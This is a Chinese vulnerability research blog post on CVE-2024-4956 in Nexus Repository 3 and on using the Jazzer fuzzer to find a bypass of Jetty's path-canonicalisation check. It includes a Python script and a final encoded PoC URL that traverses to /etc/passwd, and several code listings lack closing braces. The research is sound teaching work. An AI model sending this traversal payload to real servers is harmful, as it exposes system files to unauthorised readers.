通过 Java Fuzzing 挖掘 Nexus Repository 3 目录穿越漏洞 (CVE-2024-4956)

很久之前和朋友一起挖某 SRC 的时候遇到过开放在公网的 Nexus 仓库, 但是当时也没从仓库公开的 jar 包内找到什么敏感信息, 最后也就作罢

上周三看到了赛博昆仑的漏洞通告之后想起来这件事情, 于是就花了一点时间简单分析了这个漏洞, 最后结合 Jazzer 这个 Java Fuzzing 框架得到了 PoC

这篇文章其实发的有点晚了, 不过由于自己最近也在做 Fuzzing 相关的工作, 而且 @evilpan 师傅之前也分享过 Java Fuzzing 的文章, 于是我也打算借这个目录穿越简单分享下 Java Fuzzing 在漏洞挖掘中的应用

https://evilpan.com/2023/09/09/java-fuzzing/

https://mp.weixin.qq.com/s/7kAEwB_FcQ2KLeiIfh0dxg

https://support.sonatype.com/hc/en-us/articles/29412417068819-Mitigations-for-CVE-2024-4956-Nexus-Repository-3-Vulnerability

先说下怎么拿源码和调试

docker pull sonatype/nexus3:3.68.0-java8
docker pull sonatype/nexus3:3.68.1-java8

把镜像内的 /opt/sonatype/nexus 目录复制出来

然后把目录下的所有 jar 都复制到同一目录下, 方便 IDEA 添加依赖

find . -name "*.jar" -exec cp {} all-lib/ \;

docker 调试

docker run -d -p 8081:8081 -p 5005:5005 --name nexus -e INSTALL4J_ADD_VM_PARAMS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" sonatype/nexus3:3.68.0-java8

对比 nexus-base-xxx.jar, 可以发现漏洞点位于 WebResourceServiceImpl

另外官方通告提到了 reourceBase, 位于 jetty.xml

这个其实也很容易理解, 当用户访问的 URL 没有命中任何 Servlet 时, 会 fallback 到这个 public 目录

public 目录下存放的都是些静态文件, 例如 robots.txt 以及各种图片 (favicon)

随便打几个断点, 经过一些简单的动态调试, 可以发现 WebResourceServlet 会调用 WebResourceServiceImpl 的 getResource 方法

org.sonatype.nexus.internal.webresources.WebResourceServlet

这里传入的 path 不能以 / 结尾, 否则就会在后面加上 index.html , 后续在 Fuzzing 的时候需要注意这个点

org.sonatype.nexus.internal.webresources.WebResourceServiceImpl#getResource

getResource 方法会通过三种不同的方式获取资源文件

  • devModeResources: 需要手动启用开发者模式, 内部维护了一个 resourceLocations 列表, 默认为空
  • resourcePaths: 即 static 目录下的各种 js 文件和图片
  • this.servletContext: 即 org.eclipse.jetty.webapp.WebAppContext , 通过 Jetty 的 WebAppContext 获取资源文件
  • 经过测试可以发现如果我们访问 public 目录下的文件, 例如 robots.txt, 则会 fallback 到第三种方式, 也就是 org.eclipse.jetty.webapp.WebAppContext#getResource

    这里其实就已经到了 Jetty 自身的逻辑, 跟 Nexus 没有关系了

    直接给出调用栈

    <init>:261, PathResource (org.eclipse.jetty.util.resource)
    addPath:380, PathResource (org.eclipse.jetty.util.resource)
    getResource:1958, ContextHandler (org.eclipse.jetty.server.handler)
    getResource:389, WebAppContext (org.eclipse.jetty.webapp)
    getResource:1562, WebAppContext$Context (org.eclipse.jetty.webapp)
    getResource:127, WebResourceServiceImpl (org.sonatype.nexus.internal.webresources)
    doGet:98, WebResourceServlet (org.sonatype.nexus.internal.webresources)
    service:687, HttpServlet (javax.servlet.http)
    service:790, HttpServlet (javax.servlet.http)
    doServiceImpl:293, ServletDefinition (com.google.inject.servlet)
    doService:283, ServletDefinition (com.google.inject.servlet)
    service:184, ServletDefinition (com.google.inject.servlet)
    service:71, DynamicServletPipeline (com.google.inject.servlet)
    doFilter:85, FilterChainInvocation (com.google.inject.servlet)
    doFilter:61, ProxiedFilterChain (org.apache.shiro.web.servlet)
    executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
    doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
    doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
    doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
    executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
    doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
    doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
    doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
    executeChain:458, AbstractShiroFilter (org.apache.shiro.web.servlet)
    executeChain:96, SecurityFilter (org.sonatype.nexus.security)
    call:373, AbstractShiroFilter$1 (org.apache.shiro.web.servlet)
    doCall:90, SubjectCallable (org.apache.shiro.subject.support)
    call:83, SubjectCallable (org.apache.shiro.subject.support)
    execute:387, DelegatingSubject (org.apache.shiro.subject.support)
    doFilterInternal:370, AbstractShiroFilter (org.apache.shiro.web.servlet)
    doFilterInternal:112, SecurityFilter (org.sonatype.nexus.security)
    doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
    doFilter:82, FilterChainInvocation (com.google.inject.servlet)
    doFilter:112, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
    doFilter:82, FilterChainInvocation (com.google.inject.servlet)
    doFilter:116, LicensingRedirectFilter (com.sonatype.nexus.licensing.internal)
    doFilter:82, FilterChainInvocation (com.google.inject.servlet)
    doFilter:112, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
    doFilter:82, FilterChainInvocation (com.google.inject.servlet)
    doFilter:79, ErrorPageFilter (org.sonatype.nexus.internal.web)
    doFilter:82, FilterChainInvocation (com.google.inject.servlet)
    doFilter:101, EnvironmentFilter (org.sonatype.nexus.internal.web)
    doFilter:82, FilterChainInvocation (com.google.inject.servlet)
    doFilter:98, HeaderPatternFilter (org.sonatype.nexus.internal.web)
    doFilter:82, FilterChainInvocation (com.google.inject.servlet)
    dispatch:104, DynamicFilterPipeline (com.google.inject.servlet)
    doFilter:133, GuiceFilter (com.google.inject.servlet)
    doFilter:73, DelegatingFilter (org.sonatype.nexus.bootstrap.osgi)
    doFilter:201, FilterHolder (org.eclipse.jetty.servlet)
    doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
    doHandle:552, ServletHandler (org.eclipse.jetty.servlet)
    handle:143, ScopedHandler (org.eclipse.jetty.server.handler)
    handle:600, SecurityHandler (org.eclipse.jetty.security)
    handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
    nextHandle:235, ScopedHandler (org.eclipse.jetty.server.handler)
    doHandle:1624, SessionHandler (org.eclipse.jetty.server.session)
    nextHandle:233, ScopedHandler (org.eclipse.jetty.server.handler)
    doHandle:1440, ContextHandler (org.eclipse.jetty.server.handler)
    nextScope:188, ScopedHandler (org.eclipse.jetty.server.handler)
    doScope:505, ServletHandler (org.eclipse.jetty.servlet)
    doScope:1594, SessionHandler (org.eclipse.jetty.server.session)
    nextScope:186, ScopedHandler (org.eclipse.jetty.server.handler)
    doScope:1355, ContextHandler (org.eclipse.jetty.server.handler)
    handle:141, ScopedHandler (org.eclipse.jetty.server.handler)
    handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
    handle:239, InstrumentedHandler (com.codahale.metrics.jetty9)
    handle:146, HandlerCollection (org.eclipse.jetty.server.handler)
    handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
    handle:516, Server (org.eclipse.jetty.server)
    lambda$handle$1:487, HttpChannel (org.eclipse.jetty.server)
    dispatch:-1, 1026407993 (org.eclipse.jetty.server.HttpChannel$$Lambda$1934)
    dispatch:732, HttpChannel (org.eclipse.jetty.server)
    handle:479, HttpChannel (org.eclipse.jetty.server)
    onFillable:277, HttpConnection (org.eclipse.jetty.server)
    succeeded:311, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
    fillable:105, FillInterest (org.eclipse.jetty.io)
    run:104, ChannelEndPoint$1 (org.eclipse.jetty.io)
    runTask:338, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
    doProduce:315, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
    tryProduce:173, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
    run:131, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
    run:409, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
    runJob:883, QueuedThreadPool (org.eclipse.jetty.util.thread)
    run:1034, QueuedThreadPool$Runner (org.eclipse.jetty.util.thread)
    run:750, Thread (java.lang)

    几个关键的地方

    首先 path 必须以 / 开头

    然后会通过 PathResource 的 addPath 方法拼接路径

    addPath 方法内部会先使用 URIUtil.canonicalPath 方法进行路径标准化, 如果标准化的结果为 null, 则会抛出异常

    然后会将原来的 subPath 传入 PathResource 构造函数, 得到一个新的资源路径

    注意 canonicalPath 的结果并不会传入 PathResource 的构造函数, 也就是说这个过程只是个 check 而不是 sanitize

    再看这个方法的具体实现

    public static String canonicalPath(String path) {
        if (path != null && !path.isEmpty()) {
            boolean slash = true;
            int end = path.length();
            int i;
            label68:
            for(i = 0; i < end; ++i) {
                char c = path.charAt(i);
                switch (c) {
                    case '.':
                        if (slash) {
                            break label68;
                        slash = false;
                        break;
                    case '/':
                        slash = true;
                        
    
    
    
    
        
    break;
                    default:
                        slash = false;
            if (i == end) {
                return path;
            } else {
                StringBuilder canonical = new StringBuilder(path.length());
                canonical.append(path, 0, i);
                int dots = 1;
                ++i;
                for(; i < end; ++i) {
                    char c = path.charAt(i);
                    switch (c) {
                        case '.':
                            if (dots > 0) {
                                ++dots;
                            } else if (slash) {
                                dots = 1;
                            } else {
                                canonical.append('.');
                            slash = false;
                            continue;
                        case '/':
                            if (doDotsSlash(canonical, dots)) {
                                return null;
                            slash = true;
                            dots = 0;
                            continue;
                    while(dots-- > 0) {
                        canonical.append('.');
                    canonical.append(c);
                    dots = 0;
                    slash = false;
                if (doDots(canonical, dots)) {
                    return null;
                } else {
                    return canonical.toString();
        } else {
            return path;
    

    这个方法如何进行路径标准化? 在什么情况下会返回 null? 可以通过以下几个 demo 直观地感受一下

    URIUtil.canonicalPath("/robots.txt"); // /robots.txt
    URIUtil.canonicalPath("/./etc/passwd"); // /etc/passwd
    URIUtil.canonicalPath("/etc/a/b/c/../../../passwd"); // /etc/passwd
    URIUtil.canonicalPath("/../etc/passwd"); // null
    URIUtil.canonicalPath("/../../../etc/passwd"); // null

    当传入的路径跳出了当前的根目录时, canonicalPath 会返回 null, 看起来是为了预防目录穿越的情况

    说实话第一眼看过去我也不能立刻就想到有什么可以绕过的方法, 但是我们可以把上面这一系列的逻辑从 Jetty 中抽离出来, 使用 Fuzzing 的思路进行测试

    Fuzzing

    https://github.com/CodeIntelligenceTesting/jazzer

    Jazzer 是一个基于 libfuzzer 的 Fuzzing 框架, 同时也被集成进了 Google 的 OSS-Fuzz

    关于 libfuzzer 的使用可以参考 Google 的 fuzzing 教程

    https://github.com/google/fuzzing/blob/master/tutorial/libFuzzerTutorial.md

    Jazzer 本质上其实还是 libfuzzer 的套壳, 但是它针对 Java 语言层面主要做了如下的改进 (基于 Java Agent)

  • 覆盖率插桩: 生成数据流图 (Control Flow Graph, CFG), 在每条边 (Edge) 上插入记录当前位置覆盖率的方法调用 (CoverageMap.recordCoverage)
  • 数据流插桩: Hook 常见 Java 数据类型的比较方法 (例如 compare, indexOf, startsWith), 以及底层 JVM opcode, 将跟踪 (trace) 数据发送至 libfuzzer, 用于 fuzz 数据的 mutate
  • 敏感函数 (Sink) 插桩: Hook 常见的危险函数 (例如 Runtime.exec, InitialContext.lookup, Statement.execute) 并检测是否存在危险逻辑, 思路其实与 RASP 类似
  • 感兴趣的的师傅可以参考如下几篇文章, 以及 Jazzer 项目的源代码

    https://www.code-intelligence.com/blog/java-fuzzing-with-jazzer

    https://www.code-intelligence.com/blog/how-to-write-fuzz-targets-for-java-applications

    https://www.code-intelligence.com/blog/on-the-fuzzing-hook

    在 fuzz 之前我们需要编写 Test Harness, 即定义一个 fuzzerTestOneInput 方法, 然后在内部调用被 fuzz 的特定方法

    对于这个漏洞而言, Test Harness 就是我们上述需要从 Jetty 中抽离出来的逻辑

    package fuzz;
    import com.code_intelligence.jazzer.api.FuzzedDataProvider;
    import com.code_intelligence.jazzer.api.FuzzerSecurityIssueCritical;
    import com.code_intelligence.jazzer.api.Jazzer;
    import org.eclipse.jetty.util.URIUtil;
    import org.eclipse.jetty.util.resource.PathResource;
    import java.net.URI;
    public class Main {
        public static void fuzzerTestOneInput(FuzzedDataProvider data) {
            String path = data.consumeRemainingAsAsciiString();
            if (!path.startsWith("/")) return;
            if (URIUtil.canonicalPath(path) == null) return;
            if (path.endsWith("/")) return;
            if (!path.endsWith("/etc/passwd")) return;
            try {
                PathResource parent = new PathResource(new URI("file:///a/b/c/d"));
                PathResource child = (PathResource) parent.addPath(path);
                if (child.getPath().normalize().toString().equals("/etc/passwd")) {
                    Jazzer.reportFindingFromHook(new FuzzerSecurityIssueCritical("success"));
            } catch (Exception e) {
                // ignore
    

    开头前面的几个 if 用于限制 fuzz 数据的范围, 后续就是通过 PathResource 拼接路径的过程

    如果拼接后的路径在 normalize 之后等于 /etc/passwd, 那么就可以大概率认为这个数据是有效的, 然后会抛出 FuzzerSecurityIssueCritical 异常以中止 fuzz 流程

    将 harness 和 Jetty 依赖打包至同一个 jar 内, 然后运行 Jazzer

    ./jazzer --cp="JettyFuzz.jar" --target_class="fuzz.Main" -use_value_profile=1

    等待一会即可得到结果

    当然直接用这个路径访问肯定是不行的, 因为 Jetty 会在 Servlet 处理之前对这种畸形 URL 进行一些标准化操作, 导致最终 Servlet 接收到的路径不是我们原来的路径, 解决方法是将路径完全 URL 编码后再发送

    import requests
    def urlencode(data):
        enc_data = ''
        for i in data:
            h = str(hex(ord(i))).replace('0x', '')
            if len(h) == 1:
                enc_data += '%0' + h.upper()
            else:
                enc_data += '%' + h.upper()
        return enc_data
    payload = '///..//.//..///..//.././etc/passwd'
    url = 'http://127.0.0.1:8081/' + urlencode(payload)
    res = requests.get(url)
    print(url)
    print(res.text)

    最终 PoC

    http://127.0.0.1:8081/%2F%2F%2F%2E%2E%2F%2F%2E%2F%2F%2E%2E%2F%2F%2F%2E%2E%2F%2F%2E%2E%2F%2E%2F%65%74%63%2F%70%61%73%73%77%64

    完整 harness 代码: https://github.com/X1r0z/JettyFuzz

    尽管如此, 上述的 fuzz 过程其实还是存在一些问题

    harness 经过一定的简化, 其实并不能完全还原实际场景 (如果想要做到完全还原, 那么相应的 fuzz 效率也会变低, 需要消耗更多的时间)

    因为上面这一点, 所以 fuzz 出来的 payload 有几率出现误报, 可能需要跑多次 fuzz 拿到多个结果再进行测试

    但总的来说, Java Fuzzing 技术在漏洞挖掘的过程中也还是能起到一定的帮助作用, 例如这种复杂/畸形路径的构建, 或是 @evilpan 师傅在文章中提到的特定 IP 导致的鉴权绕过